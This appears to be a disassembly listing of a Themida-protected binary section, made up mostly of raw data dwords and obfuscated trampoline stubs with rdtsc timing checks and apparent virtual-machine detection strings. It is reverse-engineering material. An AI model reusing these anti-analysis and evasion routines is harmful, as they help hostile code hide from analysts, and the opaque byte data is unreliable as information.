		dd 50500E12h, 10E952h, 0A6800000h, 1A043F6Ah, 0B8DB5A24h
		dd 63863F5Ch, 310FBD3Ah, 2830Fh, 61600000h, 6A90585Ah
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 0FFCDC351h, 0F4945B7h, 68Ah, 25B50900h, 8B06A832h
		dd 6A282444h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 9819C357h, 8F0FA7AEh, 16h, 11E9h
		dd 0B7154700h, 1F65B65Bh, 71557E65h, 3EF15188h,	896099D1h
		dd 0A82691BDh, 5061FC06h, 14E9h, 0C3A78700h, 2614354Eh
		dd 83157B80h, 401CB31Fh, 83824576h, 24048922h, 5E9h, 5EAA6700h
		dd 858D6AC0h, 6AB3C37h,	0A2CA8160h, 8979BE86h, 0A8314995h
		dd 0D0FF6106h, 11E9h, 0DA4FF600h, 0B595A243h, 533B3EFBh
		dd 0EAC41C57h, 44035AF4h, 8E0F2424h, 6,	17559D01h, 0F5AB06A8h
		dd 0FA81h, 820F0001h, 69Fh, 0E852006Ah,	3, 5AC35A20h, 4245489h
		dd 4244481h, 14h, 60C35242h, 0DE960h, 0D2540000h, 0AAAF433Dh
		dd 0A125B356h, 61A9252Bh, 1445BD8Dh, 316006A8h,	0A82B5DBDh
		dd 0AF08106h, 615C0592h, 13E9ADh, 4ED60000h, 4044E472h
		dd 73D45D0Eh, 6E1225CAh, 0F358C5C2h, 247C815Ch,	24h, 61870F10h
		dd 6A000001h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 615DC353h, 1248C48Ah, 0E9609EF3h
		dd 0Ah,	534A5FAh, 0DDE8E080h, 0B9664C6Fh, 29614534h, 0A8077995h
		dd 52509006h, 14E9h, 0BBC9F400h, 0CDF2D875h, 1C30983Bh
		dd 5136DC2Fh, 580C3217h, 60310FD0h, 890Fh, 0B3BF0000h
		dd 61102F9Bh, 0F50585Ah, 1E87h,	0E9525000h, 0Dh, 2B911B7Fh
		dd 0ACE899F5h, 0B10E96Ch, 50310F0Eh, 5A310F52h,	90585A58h
		dd 12E9h, 99055F00h, 511DFC18h,	74DF284Ch, 0E77AAC6Eh
		dd 8B6967E5h, 6A282444h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 0DD53C352h,	0E9525090h
		dd 0Eh,	0E59EB0C8h, 0A765F78h, 0CEB40704h, 310FB157h, 68D0Fh
		dd 52500000h, 585A310Fh, 0E950585Ah, 9,	56757118h, 9719FC34h
		dd 0CE9907Bh, 0F6000000h, 64C426A0h, 459B75B4h,	8D5967D5h
		dd 0AB3C3785h, 459D0106h, 0F06A80Eh, 1880h, 12840F00h
		dd 0E9000000h, 0Dh, 2BE47770h, 0F866975Eh, 33821518h, 6AD0FFC3h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 2312C351h, 0BD89F949h, 6A82D81h, 24244403h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0F0C35646h
		dd 3FF10025h, 11E950F5h, 0B000000h, 3A4243BAh, 0FCD598C6h
		dd 9A50A1A8h, 1B635D57h, 6A240489h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 14042444h, 40000000h, 897AC350h
		dd 0A80D2185h, 158D2906h, 0E906A811h, 12h, 0C6AD516h, 6911EB70h
		dd 0DC9B26F1h, 46AF8FE2h, 6AAB6C34h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 9027C357h
		dd 9670A1C8h, 0BD8DF420h, 6A813F9h, 0F6D9589h, 870F06A8h
		dd 7, 1810Fh, 0ADF50000h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 15h, 94C35040h, 247C8106h,	28h, 0B5870F10h
		dd 0F9000000h, 12E950F9h, 82000000h, 4CAF356Bh,	0E5FDB3AEh
		dd 0E42CE1C5h, 0E50FAF8Eh, 240489DFh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 36C35545h, 0BE655F3Dh, 8589D9CCh
		dd 6A8210Dh, 2C24448Bh,	0C860Fh, 890F0000h, 6, 17819D09h
		dd 0E95006A8h, 13h, 808D583Fh, 0C79B7F98h, 0A6D43AE8h
		dd 71D8FAB6h, 8940ED35h, 8DFC2404h, 0AB3C3785h,	56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 0F15CEA5Ch, 0A8C0Fh,	0B0600000h, 0B5BD89F4h,	6106A80Eh
		dd 9531D0FFh, 6A822D9h,	28244403h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 34C35242h, 9E1FF8F3h, 7E9DAh
		dd 89320000h, 0CD950A41h, 559D3194h, 0AB06A82Eh, 1840Fh
		dd 5EFC0000h, 69358DFFh, 0BD8306ABh, 6AB6935h, 330A7500h
		dd 26B58DC0h, 0FF06AB78h, 81AD56E6h, 28247Ch, 77100000h
		dd 448B500Eh, 8D502C24h, 0AB3C3785h, 3D0FF06h, 97282444h
		dd 858ADF8Bh, 6AB6931h,	474C084h, 4C75073Ah, 0AEC03257h
		dd 2B5EFD75h, 33FC52FBh, 0D18B49C9h, 0DB33C033h, 8AC132ACh
		dd 8AEA8ACDh, 6608B6D6h, 0D166EBD1h, 660973D8h,	66504135h
		dd 5449F381h, 0EB75CEFEh, 0D333C833h, 0F7D5754Fh, 8BD1F7D2h
		dd 10C0C1C2h, 5AC18B66h, 0F74D03Bh, 4C6835Eh, 0E7D85FFh
		dd 5DE906A8h, 5EFFFFFFh, 2B89BD89h, 6A06A8h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 150424h, 56460000h, 8BB577C3h
		dd 0A80E7D85h, 0D78B6006h, 6AE0D161h, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 0D479C356h
		dd 30F48060h, 5E8h, 2EB7C200h, 8D0FC6B5h, 0
; ---------------------------------------------------------------------------
		pop	ebx
		popa
		add	eax, [ebp+6A813F9h]
		push	0
		push	ecx
		call	sub_5810BF
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5810BF	proc near		; CODE XREF: Themida_:005810B7p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 19h
		inc	ecx
		push	ecx
		retn
sub_5810BF	endp

; ---------------------------------------------------------------------------
		and	al, 0EFh
		fisub	dword ptr [ebx+2Eh]
		leave
		mov	esi, 0
		mov	[ebp+6A8159Dh],	edi
		xchg	eax, esi
		xor	[ebp+6A80831h],	edx
		lodsw
		push	0
		push	edx
		call	sub_5810F4
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5810F4	proc near		; CODE XREF: Themida_:005810ECp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 16h
		inc	edx
		push	edx
		retn
sub_5810F4	endp

; ---------------------------------------------------------------------------
		retf	0D590h
; ---------------------------------------------------------------------------
		shl	eax, 2
		cld
		cmc
		add	eax, [ebp+6A8317Dh]
		pusha
		add	eax, [ebp+6A81F61h]
		mov	[ebp+6A81505h],	ecx
		popa
		xchg	eax, esi
		push	0
		push	esi
		call	sub_58112C
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58112C	proc near		; CODE XREF: Themida_:00581124p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 15h
		inc	esi
		push	esi
		retn
sub_58112C	endp

; ---------------------------------------------------------------------------
		dd 0F6093EFh, 890FD1B7h, 6, 8C0Fh, 0AD610000h, 0FE9h, 0DCBF9400h
		dd 9D9195E6h, 47D5A5E5h, 67529C84h, 24247C81h, 10000000h
		dd 9B870Fh, 61600000h, 60525050h, 0C52D37BBh, 615E5603h
		dd 8D0F310Fh, 6, 310F5250h, 585A585Ah, 6A240489h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 858AC357h, 8B2BE377h, 29282444h, 0A806E585h,	8C0F5006h
		dd 0Eh,	890F5250h, 0
		dd 6160310Fh, 489585Ah,	9589F824h, 6A82149h, 3C37858Dh
		dd 0BD2906ABh, 6A80BB5h, 6AD0FFh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 3174CEC3h, 0A801F185h
		dd 24440306h, 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1904h, 0C3574700h, 0D11C73Ah, 89FC768Eh, 601C2444h
		dd 0BD8926B1h, 6A80589h, 0D585C661h, 6A815h, 6ABF85C7h
		dd 6ABh, 85C70000h, 6AB6939h, 0
; ---------------------------------------------------------------------------
		sub	[ebp+6A82879h],	edi
		jmp	loc_581275
; ---------------------------------------------------------------------------
		cmp	al, 7Ah
		pop	ss
		xchg	eax, ebp
		dec	eax
		std
		cld
		xor	[eax-0Dh], dl
		aam	39h
		or	al, 69h


loc_581275:				; CODE XREF: Themida_:00581262j
		popa
		jle	locret_58127D
		cmc

locret_58127D:				; CODE XREF: Themida_:00581276j
		retn	8
; ---------------------------------------------------------------------------
		pusha
		jmp	loc_58128B
; ---------------------------------------------------------------------------
		dw 0BBE2h
; ---------------------------------------------------------------------------
		aam	41h
		scasd


loc_58128B:				; CODE XREF: Themida_:00581281j
		jmp	loc_58129E
; ---------------------------------------------------------------------------
		dd 0E06C55BBh, 0EFC72824h, 14127BA7h
; ---------------------------------------------------------------------------
		aad	50h


loc_58129E:				; CODE XREF: Themida_:loc_58128Bj
		popa
		mov	eax, [ebp+6A8317Dh]
		push	0
		push	ebp
		call	sub_5812B0
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5812B0	proc near		; CODE XREF: Themida_:005812A8p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Dh
		inc	ebp
		push	ebp
		retn
sub_5812B0	endp

; ---------------------------------------------------------------------------
		dd 5EA79C27h, 0E32A333Bh, 0F4A00ECh, 681h, 0D08A6000h
		dd 60615A51h, 60524EB6h, 6B615B61h, 6A04D2h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 180424h, 55450000h, 464AC0C3h
		dd 8B60C0F9h, 0A815FD9Dh, 0D1BD8B06h, 6106A80Fh, 0BD31C203h
		dd 6A80AD1h, 6E996h, 0E2B80000h, 61CFC593h, 0D8B360ADh
		dd 6890Fh, 9D8B0000h, 6A82975h,	247C8161h, 24h,	8870F10h
		dd 60000001h, 0DE9h, 6EF3E200h,	80B7D4B1h, 0F5B4E4A2h
		dd 5061806Ch, 0EE9h, 0BD12000h,	0EBB6C939h, 414B4A6Fh
		dd 893B4BF4h, 8BF92404h, 6A282444h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 6832C350h
		dd 0CCD29D2Ch, 0E70619ADh, 12E960h, 62230000h, 1F1A610Dh
		dd 9D937A80h, 0BDC2367Fh, 907BF05h, 13E8h, 0B2161000h
		dd 0C68B2923h, 4CFD58CFh, 3CA38994h, 342E5424h,	17718D8Bh
		dd 615906A8h, 0BE9h, 4F0FB900h,	3627AB5Dh, 0E89D123Ah
		dd 9E990h, 41AD0000h, 0BAF195C6h, 5020E6C1h, 8F0F5250h
		dd 6, 8E0Fh, 310F0000h,	61605250h, 5250310Fh, 585A310Fh
		dd 585A585Ah, 55006A90h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1604h, 0C3554500h, 8D47C886h, 0AB3C3785h, 29953106h
		dd 0FF06A81Eh, 8F0F60D0h, 6, 59D852Bh, 0E96106A8h, 0FFFFFDBDh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0F4C35242h
		dd 0A9D228E9h, 0CE915h,	67920000h, 0F30DB41Ch, 4F9B87E3h
		db 0A9h, 48h
; ---------------------------------------------------------------------------


loc_581482:				; CODE XREF: Themida_:loc_58034Aj
		lea	eax, [ebp+6AB7E2Eh]
		jmp	loc_58149D
; ---------------------------------------------------------------------------
		pop	ds
		mov	ebx, 20EC0373h
		push	0FFFFFFA9h
		popf
		dec	ebp
		fild	dword ptr ds:88873A0Dh


loc_58149D:				; CODE XREF: Themida_:00581488j
		push	eax
		jo	loc_5814B6
		push	eax
		push	edx
		push	eax
		push	edx
		rdtsc
		pop	edx
		pop	eax
		rdtsc
		push	eax
		push	edx
		rdtsc
		pop	edx
		pop	eax
		pop	edx
		pop	eax


loc_5814B6:				; CODE XREF: Themida_:0058149Ej
		mov	[esp], eax
		push	0
		push	esi
		call	sub_5814C4
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5814C4	proc near		; CODE XREF: Themida_:005814BCp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 16h
		inc	esi
		push	esi
		retn
sub_5814C4	endp

; ---------------------------------------------------------------------------
		push	eax
		adc	eax, eax
		mov	[ebp+6A82D79h],	ebx
		push	large dword ptr	fs:0
		mov	[ebp+6A81C09h],	ebx
		mov	eax, [esp]
		push	0
		push	edx
		call	sub_5814F8
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5814F8	proc near		; CODE XREF: Themida_:005814F0p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 16h
		inc	edx
		push	edx
		retn
sub_5814F8	endp

; ---------------------------------------------------------------------------
		mov	[ecx+0Ah], eax
		jmp	loc_581521
; ---------------------------------------------------------------------------
		dd 0D7640560h, 0E3BFC105h, 0B56DAB73h, 9CBF54C3h
		db 0DFh
; ---------------------------------------------------------------------------


loc_581521:				; CODE XREF: Themida_:0058150Bj
		jno	loc_58152D
		add	[ebp+6A814C9h],	edx


loc_58152D:				; CODE XREF: Themida_:loc_581521j
		mov	[ebp+6A81EADh],	eax
		push	0
		push	ecx
		call	sub_58153E
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58153E	proc near		; CODE XREF: Themida_:00581536p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Dh
		inc	ecx
		push	ecx
		retn
sub_58153E	endp

; ---------------------------------------------------------------------------
		dw 0D54Dh
		dd 7A46CD5Fh, 0A36E7519h, 64DB531h, 896406A8h, 25h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1604h, 0C3524200h
		dd 0F6F4F31h, 681h, 718D8900h, 8906A802h, 0A832ADBDh, 0D9858D06h
		dd 6A06AB7Bh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 7BE0C357h, 0F016089h, 68Dh, 198D8900h
		dd 0E906A809h, 29Ch, 6810Fh, 95290000h,	6A82E0Dh, 0E8DB8Bh
		dd 5D000000h, 7BD2ED81h, 9CBC06ABh, 830012FFh, 0A81FE5BDh
		dd 18740006h, 0D19858Bh, 0C606A8h, 0A1858B00h, 0C606A832h
		dd 95FF0000h, 6A80081h,	3DB5FF60h, 8D06AB65h, 0AB654185h
		dd 858D5006h, 6AB6739h,	3595FF50h, 8306A822h, 6A610CC4h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 4667C352h, 72EF93Ch, 0D9B5890Eh, 6A06A80Fh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 35BFC357h, 0B5311A4Bh, 6A8140Dh, 6739B58Dh
		dd 9D0106ABh, 6A802EDh,	22DDBD8Dh, 870F06A8h, 6, 250D9501h
		dd 3E8006A8h, 0AD840F00h, 6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 95A1C357h
		dd 9E97232h, 77000000h,	22024028h, 0F24E564Fh, 0BE960h
		dd 0D6F50000h, 758C937Bh, 0E24CE03h, 0CD9529B9h, 6106A82Eh
		dd 56006AA4h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 871C084Fh, 9890F8Ah, 60000000h, 0F779DA81h
		dd 61F91A09h, 9E9h, 87898000h, 5DED00D1h, 6FE9F2F1h, 6AFFFFFFh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 16042444h
		dd 42000000h, 1CB1C352h, 1800FDEh, 0FC000000h, 0B8h, 8E900h
		dd 0E9EA0000h, 0EEF2CBB6h, 85010990h, 6A831B5h,	50006AAAh
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1B04h, 0C3504000h
		dd 617763D9h, 0F903AE1Ch, 7B8F5h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 0CAE7C9C3h
		dd 0D565C01h, 12E9h, 9B481300h,	0B169D12Eh, 8E253EDDh
		dd 623912DEh, 0C72B7DFBh, 0A8162D85h, 106h, 0C860F00h
		dd 0F000000h, 68Bh, 99BD0900h, 8D06A820h, 0A84FAF8Dh, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 0E76A7EA0h, 870F60D5h, 0
; ---------------------------------------------------------------------------
		popa
		jmp	ecx
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_58181E
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58181E	proc near		; CODE XREF: Themida_:00581816p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ah
		inc	edx
		push	edx
		retn
sub_58181E	endp

; ---------------------------------------------------------------------------
		dw 0FA6Eh
		dd 7E4A6820h, 0A5BD31ECh, 8B06A805h, 550C245Ch,	0E8h, 0ED815D00h
		dd 6AB7E38h, 0B8838Bh, 85890000h, 6AB653Dh, 7BCB858Dh
		dd 838906ABh, 0B8h, 0C3C0335Dh,	33E58D31h, 6A06A8h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 0B86224C3h, 30998D29h, 0E96006A8h, 0Ch, 0D1FF579Ch
		dd 36E594E8h, 0BE99C3E8h, 812E858Dh, 6A06ABh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 0EF3437C3h
		dd 0E990F8EAh, 7, 0A5D88EB7h, 506CBC6Ah, 0B9605250h, 44A92071h
		dd 0F617FB3h, 28A0F31h,	60000000h, 90585A61h, 29BD8B60h
		dd 2306A82Ah, 0A817D995h, 0B5296106h, 6A83001h,	35FF64h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1C042444h, 40000000h, 246EC350h, 0BC90BBAEh,	6408DA72h
		dd 2589h, 820F0000h, 10h, 0A8F0Fh, 5E90000h, 21000000h
		dd 0D276976Eh, 7E9h, 0A0122F00h, 1EBBDC62h, 81BE858Dh
		dd 0BE906ABh, 0F9000000h, 0AF0CB730h, 0C3715E3Dh, 608943B0h
		dd 0A800F01h, 60000000h, 880F08B7h, 0
		dd 0B5296061h, 6A805B1h, 68A0Fh, 0D8810000h, 32676E2h
		dd 0D585C661h, 4F06A815h, 0A9D9529h, 4E806A8h, 2A000000h
		dd 60FEC874h, 0C68B6660h, 61615E53h, 128C0F50h,	50000000h
		dd 0F525052h, 0F585A31h, 880F31h, 5A000000h, 24448B58h
		dd 0F525004h, 138Eh, 0EE900h, 0DA930000h, 2B9A2CCFh, 88B99944h
		dd 46BB64E9h, 0E960310Fh, 9, 0E14682C6h, 1C0E51EFh, 616160ADh
		dd 8B585Ah, 52505250h, 310F5250h, 310F585Ah, 310F5250h
		dd 585A585Ah, 9E9310Fh,	0A7000000h, 7B9570F6h, 45C86428h
		dd 4489585Ah, 0E8600424h, 0Bh, 3A57B103h, 7023ABB9h, 0FE267D8h
		dd 84h,	3EBA5E00h, 61798D72h, 56006A58h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 3D3AE378h
		dd 84AD59BBh, 0F95B5FFh, 6A06A8h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 0E43A18C3h, 3185748Ch
		dd 0A82BA995h, 71858D06h, 6A06AB69h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 22D4C355h
		dd 208DF821h, 0D0FFF905h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 0F4C35545h, 0D875BBC9h, 0F3BCDF2h, 181h
		dd 8A0FF500h, 0Ch, 6840Fh, 0BD890000h, 6A831B5h, 0C2E9h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 0C5C0BFE8h, 0DBD295Eh, 0E906A80Ch, 7, 791D5429h
		dd 8B5805BCh, 550C245Ch, 0E8h, 0ED815D00h, 6AB8138h, 31F9858Bh
		dd 858906A8h, 6A80F95h,	0D2D858Bh, 858906A8h, 6A80DB5h
		dd 69D858Bh, 858906A8h,	6A80219h, 15D585C6h, 0C70006A8h
		dd 0AB6ABF85h, 6, 0BE858D00h, 8906AB81h, 0B883h, 0C0335D00h
		dd 0FE9F8C3h, 18000000h, 97BC2317h, 0B18B3204h,	76039DCFh
		dd 6A46D6h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
		dd 57470000h, 0BB52E8C3h, 93B53D64h, 0BC095046h, 12FF74h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 56C35141h
		dd 595D8598h, 4CC1E0AFh, 6810FB8h, 89000000h, 0A81C3185h
		dd 58F6406h, 0
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_581C13
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_581C13	proc near		; CODE XREF: Themida_:00581C0Bp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 19h
		inc	esi
		push	esi
		retn
sub_581C13	endp

; ---------------------------------------------------------------------------
		jmp	short loc_581C3B
; ---------------------------------------------------------------------------
		db 2Bh,	0D0h, 17h
		dd 0C98D09ABh, 0FC06A802h, 96BB6660h, 8361F8CAh
; ---------------------------------------------------------------------------
		les	eax, [edx+ebp*2]


loc_581C3B:				; CODE XREF: Themida_:00581C23j
		add	[edx-18h], dl
		add	eax, [eax]
; ---------------------------------------------------------------------------
		dd 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 0F222B7C3h, 68E0Fh, 85310000h, 6A82EF5h, 12E9h, 8A587600h
		dd 660EFB65h, 3029331h,	9639EEEDh, 61D28F6Fh, 464934EBh
		dd 52474D53h, 4B562020h, 20202044h, 4D562020h, 2020204Dh
		dd 57562020h, 32334E49h, 58562020h, 52444C44h, 2020h, 2	dup(0)
		dd 0C8E90000h, 60000006h, 1236BB66h, 61CABF0Fh,	0C88B6060h
		dd 6850Fh, 0D1810000h, 5F702510h, 9985C761h, 6AB82h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 0CC40C350h, 8BE3F93Bh, 52006AC6h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 0D8B70FBCh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 6EC35141h
		dd 0C16D4523h, 66F810E8h, 0F08C8C1h, 18Dh, 8589F800h, 6AB829Dh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 2CC35242h
		dd 53EA9DB4h, 81666094h, 0FA8CFD0h, 381h, 0D2BF0F00h, 0CBC16661h
		dd 7820F08h, 0F000000h,	18Dh, 0FB83F800h, 74850F40h, 0E9000000h
		dd 12h,	5E4E4AD8h, 78311D1Ch, 0FDC8ECCBh, 0FA50C17Ch, 8B0F9FB2h
		dd 1, 71BD8DF9h, 6A06AB82h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 486EC351h, 0EE9ECh
		dd 92FB0000h, 5C930BC3h, 0FE62BA48h, 0B1D42B8Ah, 156E9h
		dd 1820F00h, 0F9000000h, 0EE9h,	0F170D200h, 23D0170Fh
		dd 0EAE65B87h, 83CBEDCEh, 850F0DFBh, 45h, 79BD8DFCh, 6A06AB82h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 76EEC350h, 0F90840Bh, 18Fh, 0E9FCF500h, 0FFh
		dd 0DEBF0F60h, 68E0Fh, 0F0810000h, 701B8B76h, 1FB8361h
		dd 3F850Fh, 60F80000h, 12E9h, 0D38B4400h, 9B51F274h, 5CF241A1h
		dd 0CF740EF9h, 0FB8CFA6h, 8D61F2B7h, 0AB8281BDh, 1870F06h
		dd 0F5000000h, 0B6E9h, 0BE900h,	0B97F0000h, 0CB2EB586h
		dd 6F73470Ah, 2AFB8382h, 45850Fh, 9E90000h, 26000000h
		dd 6ECBE2C0h, 0B64BC119h, 89BD8DF9h, 6006AB82h,	2870Fh
		dd 58500000h, 0E961F28Bh, 77h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 17h, 14C35545h, 83042176h, 850F27FBh
		dd 2ABh, 0E851006Ah, 3,	59C35920h, 4244C89h, 4244481h
		dd 19h,	0D2C35141h, 467C0C16h, 10E94Bh,	0ECCE0000h, 0A07B4D3Dh
		dd 0B8BBD635h, 3FB2DABCh, 0BD8D5F9Ch, 6AB8291h,	0EE9h
		dd 0DABE4B00h, 5E86400Ch, 5400A244h, 8912D6BAh,	0AB82A1BDh
		dd 0FE906h, 201F0000h, 41F32BE7h, 63AA4ACCh, 0F2B9D33Eh
		dd 1860FE4h, 0F5000000h, 6AC88C66h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 0E7DFC353h
		dd 8E9h, 5CC73F00h, 0EA599EBCh,	6A0324B7h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 0A8AC353h
		dd 62850FC0h, 0E9000001h, 0Bh, 2C8E2309h, 4061F34Bh, 0F9FDEC5h
		dd 184h, 0B58DF800h, 6AB882Eh, 148A0Fh,	0FE90000h, 15000000h
		dd 99CCFECCh, 0A6E40471h, 0A800A606h, 858B2D85h, 6AB88C2h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0DBC35343h
		dd 9ADCB35Fh, 4B98ECBBh, 0C860FFFh, 60000000h, 880Fh, 0BE660000h
		dd 9261FFE0h, 860F5250h, 13h, 0EE9h, 0F7310200h, 1687B83Ch
		dd 0C55B7CEFh, 0F8EB447h, 58506031h, 0DE9h, 0E68ABB00h
		dd 0DAB4037Bh, 0B371AE3Ah, 5A6114CEh, 7E95058h,	96000000h
		dd 0C50F8F42h, 6A92CF83h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 333DC357h, 4C010F64h
		dd 870FFE24h, 1Eh, 188E0Fh, 13E90000h, 1B000000h, 25400106h
		dd 14ECB710h, 0AE6D1A1Fh, 0C33D52A2h, 605A639Ch, 11E9h
		dd 0BA60CB00h, 7B3BE6CAh, 77EC8846h, 0FDD57B40h, 0FE9D9A7h
		dd 0D5000000h, 0D4E07CE6h, 166FE714h, 54E63DC7h, 83614AB0h
		dd 666024C2h, 80303ABFh, 666102C6h, 0F9FC7289h,	0F810CEC1h
		dd 2728966h, 0BF0F60F9h, 47C781F1h, 6129FC02h, 0F8F904CDh
		dd 67E9h, 8B666000h, 61CB80D7h,	0C2858B61h, 6A06AB88h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 5960C350h, 0F2B25FD4h, 0B58DFCEFh, 6AB882Eh
		dd 9B858DF9h, 6A06AB3Bh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 1032C355h, 0C4F872FAh
		dd 89BF2C6h, 0F8D0FFF9h, 82998589h, 6A06ABh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 190424h, 55450000h, 33BF11C3h
		dd 61B0A7EEh, 80F38B60h, 8B614FE0h, 0AB829985h,	56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 0E9EC4FB8h, 0Ch, 708F7DB7h, 10D8F314h, 0D21EC580h, 56006AC3h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 5D62D3h, 70212AF9h, 14E9h, 0B7792600h, 15E72A8Fh, 104F0CD7h
		dd 0C75646B1h, 87AC51FDh, 8166609Ah, 0FBFBEC1h,	0E961F1BFh
		dd 0Bh,	971045ECh, 140B6638h, 60BFA92Ch, 860FF860h, 2
		dd 83615F51h, 0AB88C2BDh, 850F0006h, 52h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 1Ah, 0DBC35545h, 4CD976FCh
		dd 13E90030h, 81000000h, 4BE5033Ah, 5661F1EAh, 4054B678h
		dd 389C0A7Eh, 85C720B5h, 6AB88C2h, 1013Fh, 8880Fh, 8A0F0000h
		dd 2, 22E96160h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 6325C357h, 0D3F837E3h
